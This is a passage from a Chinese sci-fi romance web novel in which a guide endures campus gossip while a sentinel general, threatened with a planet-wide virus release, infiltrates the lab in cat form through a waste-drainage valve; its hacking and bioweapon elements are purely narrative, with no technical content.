只是今天的管家先生，在偶尔看向江寻时，眼神中多了几分难以言说的复杂。但最终，还是管家的职业素养占据了上风，他什么也没有说，只是更加恭敬地低下了头。 而比起劳伦斯的沉默，今天，来自周遭同学们的打量与窃窃私语却愈演愈烈。 经过昨夜一晚上的发酵，关于两人关系的猜测几乎已经被所有人认定成了事实，许多人都言之凿凿地站出来亲身证明，两人已经共度了一夜，并且已经结成了固定的疏导关系。 “你们快看！伊莱少爷今天都没有出现，是不是昨晚……”一个女生用手肘碰了碰同伴，八卦的眼神中满是兴奋。 “应该……不对吧？要是昨晚真发生了什么，今天没出现的应该是夏因向导吧……”她的同伴迟疑着应声。 “哎呀！肯定是真的，昨天好多人都看到他们进了同一个房间呢！” “这个夏因也是真的厉害，不知道身上到底有什么魅力，联盟两大S级哨兵都被他迷住了。真不知道他最后会选哪个。” 也有今天特意打扮得花枝招展的高年级向导，语带酸意地低语：“这个平民，也不知道到底用了什么手段勾引到了伊莱少爷，现在攀上高枝就开始摆架子了，什么玩意儿……” “就是！凡纳少爷能看上他就该偷笑了，还在这儿一直端着……” 甚至有几个与江寻同班的同学，凑了过来殷勤地劝告了起来：“夏因，能找到伊莱少爷这样的哨兵，你还有什么不满意的？到头了！全联盟找不到第二个了，见好就收吧，别真的把人又推出去了。” 这样时时刻刻飘在耳边的议论声，江寻几乎已经听得麻木了。根本不去理睬这些无聊的话语。 他的注意力更多地集中在始终跟在他身边的劳伦斯与周围其他的工作人员身上，随时警惕着他们异常的动向。 伊莱昨天的愤恨离去，让他没法放松下来，他实在担心，对方会不顾他的“体面”，在这最后一天里，对他使出一些更加直接强制的手段来。 整整一天时间，江寻都在这种警惕之中度过。好在伊莱一直没有重新出现，而身边其他的工作人员，也没有做出任何对他不利的行为。 直到傍晚，这一次的修学旅行计划彻底结束，豪华穿梭舰再次载着所有学员们离开种植星，驶向遥远的星海，江寻紧绷了一天的神经这才放松了下来。 靠在柔软的座椅上，深深吐出一口气来。 被温暖的空气吹拂着，江寻心底却一片冰寒。 隐忧并未散去，危机也没有彻底解除。 像伊莱·凡纳那样的人，从出生起就站在最顶点上，权势滔天，应有尽有。从来不知拒绝为何物，所需所想永远都能握在手中。 他真的会就这样放弃吗？ 江寻望着舷窗外飞速掠过的星云，心中阴云密布。 而他不知道的是，就在他乘坐着舰艇返回中央星的航程中，在他从没在意过的角落里，一则花边新闻，配着数张他与伊莱共进午餐、以及前后脚进入酒店套房的照片，正悄无声息地以那颗种植星为起点，以惊人的速度在星网和一些小型娱乐媒体上流传了起来。 【凡纳太子爷情定圣所，对象竟是他？！】 【震惊！豪门继承人竟公然在圣所做出这种事！】 充满了煽动性的新闻标题，再加上作为凡纳家大少爷的主人公，让这则消息的传播范围惊人得广大，影响力也出乎意料得深重。甚至穿透了星域的壁垒，远远传播到了遥远而混乱的边缘星系。 * 此时，在遥远宇宙的另一边，正有一个星球的人，因为一个疯狂的宣言，陷入了致命危机中。 “三天！如果陆厌离在三天后还活着，那么，我将对整个绿洲星释放升级后的病毒，让你们所有的人和他一起同归于尽！”实验室负责人狰狞着面目，哈哈大笑着切断了通讯。 整个绿洲星，都因为这通疯狂的宣告，陷入了恐慌之中。 指挥室中，军部众人看着那人影消失的屏幕，眼中几乎要喷出火来。 连一向沉稳克制的蕾拉中校都忍不住狠狠一拳砸在了控制台上。 “疯子！这个彻头彻尾的疯子！”她的胸口剧烈起伏着，猛地转向陆厌离，“将军，您决不能向这种疯子妥协！军部绝不接受这样的威胁！我立刻向本部请求最高级别的求援，我们一定要把这伙疯子全部抓起来！” 指挥室里的其他军人也纷纷义愤填膺地附和： “没错，将军，我们绝不妥协！不能让这些犯罪者得逞！” “还有时间，只要军部的支援在三天内赶到，一定有转机！” “对，我们一定有办法在不让病毒释放的前提下解决掉他们！将军请下令！” 陆厌离站在主屏幕前，注视着实验室区域的全息俯瞰图，陷入了沉思。片刻后，对着蕾拉点了点头，“蕾拉中校，再次向总部请求支援，上调生化武器威胁等级并上报现状。” “是！”蕾拉立刻转身执行命令。 陆厌离看着她的背影，心中却不抱太大希望。 回过头来，他看向面前实时画面中的实验室，心中思绪电转。 这次事件真正的转机，在哪里呢？ 与此同时，被强制播放在绿洲星公共频道上的那通宣言，已经让这颗久处平静中的行星，陷入了巨大的动荡之中。 被公开承认的“病毒”，令治安军内部本就存在的质疑与愤怒彻底爆发了开来。 许多士兵自发地围住了总督府，群情激奋地要求总督给出解释。 “总督！你为什么要帮助恐怖分子？你们到底有什么内部交易？！” “为什么要欺骗所有人？你知不知道他们在实验室里制造了什么？” “三天后他们就要释放病毒了！到时候我们都得死！你满意了吗？！” “我们需要解释！我们要拯救我们的星球！” 总督躲在府邸最上层的会议室里，看着楼下层层围拢过来的人潮，面色惨白如纸，却只能声嘶力竭地吼着让护卫们持枪严守住总督府，不得让这些暴民冲进来。 他的身后，好几个绿洲星实权部长也被迫避到了这里，看着此时岌岌可危的现状，终于有人忍不住愤怒地出声：“我早就说过你这是在玩火自焚！早晚会自食恶果！你看看，现在我们要怎么办？！” 总督早已没了一天以前强硬的模样，汗水完全浸湿了他的额发，站在自己曾经的下属面前，双目空洞，声音嘶哑无力：“我……我当然知道！但我有什么办法？我的女儿在他们手上！她是我唯一的亲人了……我不能失去她！他们说了，等陆厌离来了，就会放了我的女儿的……” “你不能失去你的亲人，就让我们失去自己的亲人吗？”国防部长恨恨出声，“你为什么不第一时间把这件事告诉我们，告诉军部？若是从一开始就集中兵力攻击，也许根本就不会出现现在的事！” 剧烈的争吵在会议室中爆发，众多被连累的政府高官们此时根本顾不得总督的身份，对他疯狂攻讦。可绿洲星政府本身就缺乏军事力量，此时得罪了军部，自家的治安军又在发现真相后站在了他们的对立面上，所有人都对目前的局面毫无办法。 而始终等不到最高长官解释与处理办法的治安军，也在巨大的压力下，开始混乱了起来。 虽然还有以往的纪律暂时约束住了士兵大规模的溃散，但各自为战的众小队已经彻底慌了神。他们不敢在此时放军部的行动小队进入，刺激到实验室方面提前释放病毒。也无法对军部与陆厌离做什么，只能惶惶不安地停留在已经摇摇欲坠的封锁线上，等待着更权威的长官来告诉他们，要怎么做才能真正拯救自己的家园。 更多的身处星球各地的民众们，也都在各种公共频道上看到了那番宣言。虽然在各地行政长官及各级政府工作人员的安抚下，暂时没有产生太大的混乱，但恐慌的种子已经种下。 不少的商店自发关闭了店门，各地商店遭遇哄抢，各种防毒面具、隔离装备卖到脱销，众多群众涌向空港试图提前离开。 而远在他方的各级政府机关，也都开始疯狂联系总督府，试图得到更确切的消息与命令。他们知道，现在的平静只是暂时的，三天的时间转瞬即逝，如果事态不能在短时间内得到控制，那不需要病毒，光是恐惧与暴乱就足以毁灭整个绿洲星。 这一刻，绿洲星上的所有人，都在恐慌中等待着转机。 指挥室内，调取了实验室的外部俯瞰图与建筑结构图仔细研究过后，陆厌离走到了严新雪的座位前，认真说道：“上尉，这所实验室虽然从外部看不到任何与外界的信息连接线路，可他们既然能够从内部入侵绿洲星的公共频道强制接入视频，就必然有连接外网的数据交换通道。” 看着严新雪骤然亮起来的眼睛，陆厌离继续说道：“你能找到并侵入他们的内部数据网络吗？重点是他们的控制系统或者内部通讯频道。” 严新雪脸上露出兴奋的表情，转过头去十指在控制台上飞快地按动，陆厌离的话让她茅塞顿开，有了新的灵感。随着她的动作，面前的全息屏上，一串串代码如瀑布般倾泻而下。 “我想到了，将军！但是……”严新雪圆圆的眼镜上倒映出飞快跳动的字节，“他们的人能够同时入侵绿洲星上那么多的公共频道，在通讯和网络安全上的造诣一定很高，要把他们揪出来，冲破他们的防火墙，我需要时间。”她的额头上渗出了细密的汗珠，“我会尽力，但是，三天的话……我不能保证一定能完成任务。” “辛苦了，尽力而为。”陆厌离点了点头，没再催促或下死命令。仅凭严新雪一人，时间又如此紧张，这当然是场艰巨的任务，他也不会把鸡蛋都放在一个篮子里。 他转过身去，目光落在侧面的卫星监控上。 画面中，这颗美丽的绿色星球看起来仍是那么平静安宁，可在他的眼中，它的表面已经被一层乌黑的淡淡死气所笼罩。 三天，三天之内，这颗星球就会迎来它最终的结局。 陆厌离缓缓攥紧了拳头，眼眸深处跳动着坚定的光芒—— 作者有话说：十一放假我轮空，哭死[爆哭] 第187章 在所有人焦灼的注视中， 第二天如期而至。 早上九点，被劫持的通讯频道中画面一晃，再次显露出那个身穿白色研究服的身影。 “倒计时第二天， 诸位，我可没有看到你们的任何诚意啊。还有四十八小时了，陆厌离，你不是联盟英雄吗？这次怎么不为无辜民众继续奉献了呢？哈哈哈哈~~你们看， 连你们的联盟都要放弃你们了， 可怜的蝼蚁们， 好好享受最后的时光吧！” 中年男人脸上露出充满恶意的狞笑，残忍的声音中满是嘲弄， 话落便干脆利落地切断了通讯，丝毫不在意他的再次宣告为整个绿洲星带来了什么样的动荡。 封锁线外围，一些仍然驻守在这里的治安军士兵看向距离不远处， 与他们相对而立的军部行动小队成员， 目光开始变得复杂。躲闪中，夹杂着一些愧疚却又有着一丝隐晦的祈求与怨怼。无人敢公开对着联盟军部与陆厌离说什么，可众人竖起的枪口却无声无息地向着军部众人偏移了过去。 与此同时， 绿洲星的民间网络与部分媒体上， 也开始出现了一些不和谐的声音。恐慌的民众在迟迟得不到最新的有利情报后， 情绪迅速爆发了起来， 不少人开始不理智地在各处发声， 宣泄着自己的情绪。 “政府和军部为什么还没有行动？” “这些恐怖分子是来寻仇的吗？为什么要让我们整个星球的人一起陪葬？！” “难道一个人的命比我们几亿人都要重要吗？我们也是联盟的一员！我们要求公平！” “他不是英雄吗？他不是顶级哨兵吗？他为什么不救我们？” 一开始， 这些声音只是零星出现， 可恐惧是会传染的。很快，在生命威胁下被放大了开来。恐慌的种子在绝望的土壤中滋生，开始迅速生根发芽。 无声的压抑弥漫在指挥室的空气里， 众人看着监控视频中，渐渐骚动起来军民，心中隐隐有着不详的预感。 就在这时，“叮铃铃——” 一道刺耳的铃声打破寂静。 蕾拉看了眼通讯源，沉默抬头转向陆厌离：“将军，是总督的通讯。” 陆厌离没有迟疑，点了点头：“接进来吧。” 下一秒，全息影像中画面一闪，出现总督的身影。 仅仅一天不见，他整个人就像是垮掉了，眼窝深陷，胡子拉碴，瞪向通讯这端的眼睛里布满了血丝，声音嘶哑而破碎：“陆厌离将军，一天了！军部为什么还没有任何行动？” 他绝口不提之前与军部之间的龌龊，也不去想大多数的治安军还按照他先前的命令驻防在封锁线上，虎视眈眈地遏制着军部的三支小队，只是肆无忌惮地将自己所有的心虚无能与恐惧焦躁都发泄在了怒吼上：“绿洲星是联盟成员国的一员，联盟有责任保护它！你们为什么还不行动？军部的支援在哪里？为什么还没人来拯救绿洲星？这场灾难明明就是冲着你来的！你必须要负责到底！” “明明是你一直在妨碍我们……！”严新雪为了追踪实验室内部网络的踪迹，已经劳累了一天，此时听到这个失职的总督，不但不反省自己的错误，做出补救，反而对一直被他们敌视着却仍在努力工作的自己等人无能狂怒，还把所有的责任都甩给他们，再也按捺不住脾气，站起身来就要怼回去，却被陆厌离拍了拍肩膀，制止了下来。 坐在旁边的其他军部成员，也被气得个个面色铁青。 然而迟迟未到的军部支援报告，就像一个又一个巴掌，拍在他们脸上。他们无数次检查线路，通讯线路完好，讯息也成功发送了出去。可那以往在几个小时之内就能等到的回复，此时却像是落入了黑洞之中，杳无音信。 陆厌离对这样的境况有所预料，叹了口气，没有去苛责已经尽心尽力的军部下属们。更对毫无作为，只知怨怪他人的总督毫无好感。根本懒得去回答对方的问题，只挡在众人面前，半垂下眼睛冷冷地注视着他。 当那森寒锐利的目光透过屏幕直直射向自己时，总督像是这才想起了面前这人可不是他能随意甩锅的下属，而是从尸山血海中走出来的强大战士。他的面色一瞬发白，嗫嚅几下再不敢发声，忙不迭地切断了通讯。 看着指挥室中众人难看的面色与凝滞起来的气氛，陆厌离叹了口气，向角落里走了几步，打开了个人终端。 官方的渠道走不通，他打算直接联系一下威尔逊将军那边，把这里严峻的情势传达过去。 刚打开了通讯页面，一条被自动推送过来的星际新闻便从右下角蹦了出来。正要随手关闭，却被那张新闻配图上熟悉的人影瞬间定住了视线。 陆厌离心口一颤，随即，配图上被加粗放大的新闻标题便猝不及防地撞入了他的眼帘。 【凡纳继承人与圣所精英向导共度良宵？穷小子即将入主豪门？】 明知现在不是关注这些的时候，陆厌离还是手指颤抖了一下，点开了那条推文。 放大的第一张配图上，灯火辉煌。他最熟悉的那个人正与一个男人共进晚餐，对方还亲密地凑近了过去，往他的盘子里夹着菜肴。 而另一张照片里，一条装饰豪华的走廊上，两人一前一后走入房间，留下一对和谐相配的背影。可他一眼便认出前面那人正是本应在圣所中上课的江寻，而后面那人，与第一张配图上的穿着一样，正是他熟悉的凡纳家大少爷，伊莱·凡纳！ 他的目光迅速从那些充斥着猜测与暧昧词汇的文字上掠过，每一个寻常的字眼，此刻都像是根根锐利的尖刺，从他紧绷的神经上一下下扎过。 陆厌离的手指瞬间收紧，捏在手里的终端外壳在他指尖发出轻微的咯吱声。 碧色的眸子中暗流汹涌，一片冰寒。 他想，他知道自己这一次突然变得格外凶险的任务是怎么回事了。 伊莱·凡纳，原来是他。 一股混杂着愤怒与担忧的情绪，在这一刻猛得攫住了他的心脏。 在他不在身边的时候，江寻正在被无法抵抗的猛兽觊觎，他必须要尽快结束这里的任务，回到他的身边去。 陆厌离打起精神关掉这个扰乱人心的新闻界面，迅速将他在M94星系遇到的困境简略而准确地报告给了威尔逊将军。得到他肯定的答复之后，转身走向主控区，看向手指狂舞的技术官。 “严上尉，进度怎么样？” 严新雪从满屏的代码中抬起了头来，发红的眼睛里闪着一些兴奋的光彩：“将军，已经成功追踪到了实验室的数据交换通道，正在尝试渗入。但是这个实验室中，大部分的关键性控制系统使用的都是物理隔离法，或者需要生物验证，没有太好的办法通过远程破解。目前找到的突破口只有一个……” 严新雪看了看主控屏幕，叹了口气，继续说道：“实验室地下深处的毒液废料处理通道。那里的环境空间狭小，废料污水毒性剧烈，极端危险，没人能靠近，所以使用的是全电子控制。我已经通过后门漏洞掌握了里面紧急排污阀门的开关权限，这个阀门是建筑初期就有的，可以直通外界。”她犹豫了一下，继续问道，“将军，是否要继续寻找其他的突破口？继续的话，我可能来不及再去破解对方的内部通讯系统了。” 陆厌离查看了一下这所实验室前期的建筑图纸，在最下方的不起眼处找到了严新雪所说的这个紧急排污阀门。 “这个阀门通道有多大？” 严新雪羞愧地半低下了头：“大概……只有二、三十厘米直径大小。” 陆厌离在心中估测了一下，点了点头，丝毫没有犹豫地下令：“够用了。不用再继续寻找其他出入口，集中全力破解对方的通讯系统。” 严新雪松了口气，面上顿时轻松了许多，露出一丝疲惫又自信的表情：“没问题！只是通讯系统的话，我保证在明天中午之前就完成破解任务！” 陆厌离满意地点了点头，再次拍了拍严新雪的肩头以示鼓励。 转身向其他下属下达下一步的行动命令。 所有人的神经都紧绷了起来，动作迅速地为着明日的最后行动准备起来。 * 第三天，当中年人那张阴鸷扭曲的面孔，在晨光下再次出现在公共屏幕上时，无数人发出几近绝望的怒吼。 可这些恐惧的面孔，却仿佛取悦了这个疯狂的罪犯，令他抑制不住地哈哈大笑起来：“哈哈哈哈！渣滓们，很高兴地告诉你们，时间只剩下最后的二十四小时了！现在我倒是有些后悔了呢，看着你们这些蝼蚁在挣扎中绝望地死去，也许比看到陆厌离的头颅出现在我面前还要更有趣呢！” “不过算了，我说话算话……”他恶劣地一笑，那双充满恶意的眼睛，像是已经透过屏幕看到了对面面无表情的陆厌离，“这是你们最后的机会，是生存还是毁灭，答案就掌握在你们自己手里。” 短短一段视频，却如最后一根稻草，在这一刻压垮了所有人的心防。 绿洲星上，残存的秩序瞬间崩塌，成千上万的民众聚集在戒备森严的军部指挥室外围，将一切能拿起的东西，砸向保护着指挥部的能量护盾。石头、金属碎片、泥巴、玻璃，甚至是随手从地面上捡起来的垃圾，“嗵嗵嗵”如雨点般落在护盾上，发出声声沉闷的声响。混合着人群中混乱的哭喊声、咒骂声、哀求声，共同交织成一片绝望的嘶吼。 “陆厌离！你惹来的事为什么要让我们和你一起倒霉？你快去死啊！” “求求你了，将军！我不想死啊，将军，求你了救救我们吧！” “陆厌离，你不是联盟英雄吗？你不是为我们而来的吗？” “将军！对不起！呜呜呜，可是你一个人就可以拯救我们所有人啊！将军，行行好吧！” 人群汹涌，若不是门前有能量护盾保护着，恐怕这小小的指挥室早就被他们冲了进来。 巨大的恐惧轻易压垮了这些一直生活在和平中的民众的心防。有的人红着眼暴虐又徒劳地攻击护盾；有的人一边哭一边拍打着墙壁，看似可怜，口中却是求着别人去赴死的恶毒话语；有的人疯狂咒骂，眼里却盈满了恐惧；还有的人跪在地上，朝着指挥部的方向狠狠磕头，额头磕出了鲜血也浑然不觉。 指挥室里，所有人都顶着巨大的压力做着他们能做的最后努力。耳边不断传来的各种声音，让他们燃起怒火，却又在瞥见门口那些民众哭泣哀求的模样时面露不忍。 就在这时，指挥室中再次响起突兀的通讯铃声。 给总部再次发去了紧急求援信息的蕾拉中校，听到这铃声，心中刚刚燃起了一线希望，凝神一眼看到来电人，面色又阴沉下来。 通讯在陆厌离的示意下被接入，总督的模样比之昨天愈见疯狂。 他赤红着双眼，面上的表情完全扭曲了起来，看起来比那个实验室中的疯子还要可怕。这一刻，这位手握着一整个星球的总督终于在所有人面前撕下了他所有的伪装： “陆厌离！事到如今，军部还不出手？这都是你给我们的绿洲星带来的灾难，你身为联盟将军，必须负起你的责任！为了所有人好，你自绝吧！只要你死了，一切危机就结束了！否则……否则我们就不惜一切代价，踏平你的指挥部！你不管我们绿洲星上的民众，难道连你身边的战友下属都不管了吗？！” 他的声音几乎撕裂，一边说，一边看向视频窗口中映出的其他军人，试图寻求认同。 而他这一次的威胁，也的确不虚。 指挥部外的广场上，身着深蓝色治安军军服的士兵们已经开始大规模集结。面对着即将到来的覆灭危机，对于生存的恐惧终于盖过了对联盟、军部与陆厌离的敬畏，令士兵们颤抖着将枪口对准了指挥部的方向。 除了一小部分面露挣扎后默默退出队伍的人之外，大部分士兵都在总督的命令亦或对死亡的恐惧驱使下，举起了他们的武器。 各种不同规格的枪械，开始发出不同的声响。有枪械上膛声，有保险被拉开的声音，还有能量武器充能的嗡鸣声。指挥部的能量护盾内，仅有的三支行动小队沿着护盾的范围散开，紧紧握着武器，面色凝重地一致对外。 原本应该精诚合作的两方阵营，刀刃相向，气氛剑拔弩张。 就在这千钧一发之际，安静的指挥部中，却突然传来一阵欢呼。严新雪猛地从控制台前抬起了头，用布满了血丝的双眼看向陆厌离，音量因为兴奋提高了一大截：“将军！成功了！我截获到了他们的内部通讯！” 不等回应，她马上开启外放，将一段经过解码的音频播放了出来。 【……教授！你的办法果然有用，那个蠢货总督真的要带人和军部打起来了，哈哈！】 【还不是因为你这个没用的家伙！要是你能提前三天把病毒的完全体制作出来，我们早就撤退了！】 【之前的也算是完全体了啊……只是毒性不足以杀死哨兵而已嘛。】 【你在说什么蠢话？不能干掉哨兵，他们来上几轮强攻我们就完了！要不是有我给你补救，看你怎么给上面交代！】 【哈哈！不说了，现在我不是已经改良完成了嘛！我保证这一次一定没问题！要是那个总督真能逼得陆厌离自杀那就最好了，这样我们之后的行动就更加万无一失了！】 【行了，计划不变，去确定一下全球释放程序都设定好了没有！记住，中午十二点准时启动程序！确定完了就赶快去收拾资料，隐形穿梭机已经准备好了，我们要在十一点半之前全部撤退了。记住，这一次不准给我留下任何纰漏！】 【是！教授。】 音频到这里戛然而止，而指挥室里，也随着声音的结束陷入了一片死寂。 耳边只有众人愤怒而急促的呼吸声，与窗外越过玻璃传进来的一阵阵越来越疯狂的喧嚣。 “砰——！” 蕾拉中校气红了眼，狠狠一拳砸上控制台，指节捏得发白：“这群杂碎！我们所有人都被他们耍了！要是那个白痴总督没有妨碍我们的话，我们一开始就能直接把他们解决掉！他们不是专为杀死陆少将而来的，他们根本就从没想要放过任何人！” 陆厌离周身的气息瞬间变得冰冷刺骨，一双翠色眼眸中猛然漫上丝丝黑灰，重新沉淀成墨绿色。 饶是他从军十余载，见过的凶恶罪犯不计其数，也极少遇到这样丧心病狂的疯子。 他原以为对方是冲自己而来，最坏的情况下，他赔上自己总能解决这次危机。却没想到，这些人就这般轻描淡写地决定了一颗星球上所有生命的命运。 这一刻，他真切地愤怒了起来。 不过，现在已经没有时间让他们去生气了，他看向主屏幕，时间正在一点一滴地流逝，距离十二点已经不足三个小时！ 他转向严新雪，语调快速而清晰：“严上尉，十点整，准时为我开启那个紧急排污阀门。蕾拉！”他扭头看向身侧的中校，“你带领我们所有的行动小组，在这里与治安军对抗，记住！动静越大越好，允许有适当的碰撞，但是不可故意伤人，以保护自己为主。” “是！”蕾拉应声，又犹豫道，“将军，需要把我们截获的这通通讯发送给总督府那边吗？” “不，”陆厌离沉声道，“时间紧急，我们没有时间再去应对可能出现的变数。总督府那边组织混乱，人多嘴杂，提前泄露消息，可能会被实验室方面获知，刺激他们再次提前释放病毒。” “这次任务由我单独执行，你们在这里制造出我们仍然在等待军部支援，苦苦抵抗的假象，为我吸引敌人的注意力。” 陆厌离的命令下达得快速而果断，一边说着，一边调出实验室的建筑图，最后记忆一遍实验室中各个房间的位置。 “严上尉，继续对敌方的通讯进行监控，找出他们存储病毒的位置与主控室，还有那艘隐形穿梭舰的位置。”陆厌离看一眼听到他的命令后立即进入了工作状态的严新雪，继续说道，“有任何异变，立即与我联系。” “是！”严新雪认真应道，可手上刚敲了几个命令，又重新抬头担忧地看向陆厌离，“可是将军，你要一个人去吗？按照他们所说，改良过后的病毒即使是哨兵也抗不下来，那毒液处理通道那边……” “就是因为毒性太大，所以只能我一个人去。”陆厌离一边回答着严新雪的问题，一边迅速脱下军装外装，露出穿在里面的自适应作战服，在其他工作人员的帮助下，将一个个战斗辅助设备挂载在身上，“我本身就是毒系的，等级又高，这里只有我对毒素的抵抗力最强，最有希望完成任务。” 说着话，他对着旁边下属递上来的突击能量步枪摆了摆手：“出入口大小有限，这些我带不进去，为我准备常规装备就行了。” 迅速整备完毕，他最后向蕾拉下令：“中校，外面的事情就交给你了。我之前已经把这里的情况报告给了第八军团的威尔逊将军，之后如果将军那边有了新的消息，或者军部的支援抵达了，由你来指挥处理。” “是！”蕾拉应声，郑重对陆厌离抚胸一礼，“将军！祝您旗开得胜，武运昌隆！” 陆厌离微微一笑，对着指挥室中殷切注视着他的众人最后点了点头，而后果断转身，沿着秘门，奔向了属于他一个人的战场。 窗外，人声沸反盈天，连天色似乎都感受到了即将降临在这颗星球上的致命危机，渐渐暗沉了下来—— 作者有话说：猫猫：趁我不在偷家？ 第188章 治安军如今一部分被总督调走去指挥部施压， 一部分已经自行溃散，几乎没什么人还守在那形同虚设的封锁线上。 陆厌离隐藏起身形，沿着外围稍作探查便找到了合适的突破口， 悄无声息地潜进了这片被封锁的区域。 为了不打草惊蛇，他没有走陆路，而是直接隐入了穿过这片区域的一条河流里顺水而行。 那条毒液处理通道的排水口，就位于这条河流下游的某处。 没费多少工夫， 陆厌离就找到了排水口的位置。 这个排水口， 直径只有二十多厘米， 对于人类来说自然是无法通过的，可对于一只猫咪来说， 却刚刚好。 陆厌离没有丝毫迟疑，上身向前一趴伏就变回了幼生态。将挂载着特制战斗装备的皮带往身上一挂，便一头扎进了排水口中， 逆着浑浊发绿的污水， 向着实验室内部潜入了进去。 十点整，实验室地下深处，一道久未使用的金属阀门， 无声无息地缓缓滑开， 没有惊动到任何人。 随着这道阀门的打开， 一股带着刺鼻味道的腐蚀性气体瞬间涌了出来。 陆厌离压低身体， 屏住呼吸， 躲过了这波最浓烈的毒雾， 而后， 毫不犹豫地身影一闪，跃入了阀门另一侧。 前方是一条曲折向上的通道，通道里能见度极低， 金属壁被腐蚀得斑驳不堪，好在陆厌离现在的猫身夜视力极好，否则这一路上可能还会有诸多的阻碍。 安静的通道中，只有汩汩的水流声，与“啪嗒啪嗒”涉水而过的脚步声。 含有剧毒的废液在脚下翻滚着，打湿了陆厌离身上的长毛，肉垫落地的每一步都传来灼烧的痛感，鼻腔里更是火辣辣的，连眼珠都被刺激得布满了血丝。他能清晰地感觉到另一种与他体内的毒系精神力完全不同的物质，正在缓慢而坚定地渗透进来，破坏着他自身的身体机能。 陆厌离提起精神力，在体表形成一层薄韧的无形屏障，屏住呼吸，尽量减少毒素的摄入。 同时，将速度提升到了极致，以最短的时间穿过这条通道。 与此同时，地面之上，军部行动小队与治安军在一波试探性的交火之后，开始了正式的对抗。 蕾拉指挥着三支经验丰富的行动小队，利用地形与经验优势，与外面包围了指挥部，开始进攻的治安军游斗了起来。 枪声、爆炸声骤然变得密集，道道能量光束划过天空，火光中，怒吼声震耳欲聋。可若有人仔细看去便会发现，治安军那方的枪炮子弹，根本没有打破护在外围的能量护盾。而行动小队发射到外面的子弹，也总是莫名其妙地落在空处。 激烈的交战，很好地掩护了在地下通道中潜行的陆厌离。 他身如鬼魅，急速穿行，很快通过了那条毒液处理通道，踏入了实验室空间中。 身形一阵变换，陆厌离重新恢复了人形状态，再次整备完毕后，便顺着记忆中的路线向上方实验室的中心地带潜入进去。 即使是在撤离前夕，自己的地盘里，这所实验室也没有丝毫放松戒备。很快，陆厌离就在一个交叉路口遇到了巡逻的守卫。 他潜伏在一道拐角后，耳朵微动，听着前方通道里传来的两个脚步声越来越近。 在两名身着全封闭式防护服，手持能量步枪的守卫拐入这条通道的瞬间，陆厌离动了。 他矮下身子，从两人之间的空隙中一跃而过。两名守卫只看到眼前黑影一闪，还没反应过来发生了什么事，那道影子又消失了踪影。 陆厌离却丝毫没有迟疑，在两人身后的墙壁上一个借力翻身，便无声地扑至两人他们身后。随即，双手食指上的指甲猛然暴涨而出，从甲床向前漫上一层蓝紫色，在两人后脖颈上一划便撕裂了防护服，精准地按在了他们的颈侧血管上。 下一刻，指甲戳破皮肤扎入血管，剧毒顺着血液瞬间向两人全身蔓延下去。 两个守卫连哼都没有哼出一声，藏在防护面罩下的双眼刹那间失去了焦距，软软倒了下来。 陆厌离伸手一托，将两人无声无息地接下，顺手藏进一边的空房间中，刚准备继续深入下去，隐藏在耳中的微型通讯器中便传来了严新雪清晰而急促的声音：“将军，再次截获到情报。病毒原体被储存在主控室旁边的‘净化枢纽中心’，释放程序已经被预设，开始倒计时。他们撤离时乘坐的隐形穿梭舰，停放地点在‘西侧B-4号出口’。” 陆厌离精神一振，迅速观察四周，确认没有敌人才按下麦克风，压低声音小声回道：“收到，总部那边回复消息了吗？” “还没有……但是威尔逊将军回电，已经联系了第九军□□人前来接应，预计一个半小时后抵达绿洲星。”通讯器中传来微弱的人声与一些滋啦滋啦的杂音，似乎信号受到了干扰，就要断开了。 “好！”陆厌离心念一转，已经做下了决定，“通知他们抵达后在轨道上待命，同时开启舰载相位炮充能程序，目标锁定实验室区域，随时等待命令。” “将军你……！”严新雪一惊，还要再说什么，陆厌离已经果断地切断了通讯。随后便身子一矮，如箭般重新冲入了地下通道中。 陆厌离脚下疾奔着，脑中同时飞速运转起来。 回忆了一遍建筑结构图，马上回想起了那个B-4号出口的位置。但是另一个“净化枢纽中心” ………这明显是对方自取的名字，在他的记忆里，主控室旁边有好几个不同的功能区，他不能确定具体是哪一个。 两个方位相距较远，陆厌离在心中稍作权衡便有了决定。 先去B-4出口那边。 一来病毒释放程序的启动时间更晚一些。二来，枢纽中心的地址并不明确，他恐怕需要一段时间去寻找，这样一来遇到敌人的几率变大，更容易出现变数。不如直捣黄龙，先把主脑完全控制住，再行寻找病毒存放地。 更何况，他觉得实验室的研究员离开时，一定不会把所有制造完成的病毒全都留下，他们手里一定还有病毒原体。若是他先去了存储地那边，解除程序的时候一定会被对方发现，到时候对方很可能会一不做二不休，直接把手上的样本释放出去，任务一样会失败。 心下计定，陆厌离脚下更快，按最短路线向着B-4号出口疾奔而去。 越是靠近上方的核心区，守卫也越发密集起来，敌人身上配备的防护服与武器也更加高级。陆厌离不得不利用拟化能力，频繁地变化身形，借助地下交错纵横的管道结构，以潜伏突袭的方式小心前进。 他如同潜入实验室中的幽灵，每一次倏忽出现，都伴随着致命的攻击。或是利用视野盲区进行近身突袭，或是匿于狭小的管道中埋伏暗杀，凭借着远远超乎常人的速度与力量，陆厌离如一位在阴影中起舞的死神，在这座封闭的密室中，一个一个地收割着他的猎物。动作干脆利落，每一次突袭都全力以赴，确保整个战斗过程不超过半分钟，没有人能有机会向外发出警报。 可同时，这样全力以赴的进攻方式，让他完全放弃了闪避，在解决敌人的同时，身上也留下了不轻不重的一些伤势。 剧烈运动导致的血液流速加快，也让已经浸入他体内的孢子病毒快速发作了起来。 呼吸间，喉咙中开始出现杂声，并隐隐作痛；鼻腔里泛起了腥甜；眼前的视野从边缘处开始模糊了起来。病毒渐渐开始削弱他的五感，他的速度不可避免地慢了下来，动作之间，也开始出现不协调的迟缓。 终于，在放倒了第四批守卫之后，陆厌离隐约听到了从前方传来的嘈杂脚步声，B区出口已经近在眼前。 但是…… 陆厌离紧贴墙壁，无声隐在最后一个路口前，静静用耳朵分辨着前方那条必经之路上的守卫人数。 一，二，三……三个？ 不对，是四个！ 陆厌离心下一沉，前方的守卫中，有一人气势沉凝，脚步无声，连呼吸都几近于无，明显与刚才遇到的那些更加依赖武器装备的守卫不同，陆厌离怀疑对方也是一个高等级哨兵。 好在对方身上没有传来类似其他护卫的那种装备摩擦声，应该没有穿戴防护服。陆厌离心下定了定，无声向着前方潜行过去。 紧贴在拐角的墙面上，陆厌离心下默数着，静静等待着脚步声越来越近。 当一条覆盖着重型防护服的腿迈过拐角的瞬间，陆厌离眼神一凝，猛地蹬在侧面墙壁上，双脚踏着金属墙壁一个借力，在踩出一个轻微凹陷的同时，整个身体如一支离弦之箭般横射而出，将速度飙升到了极致。 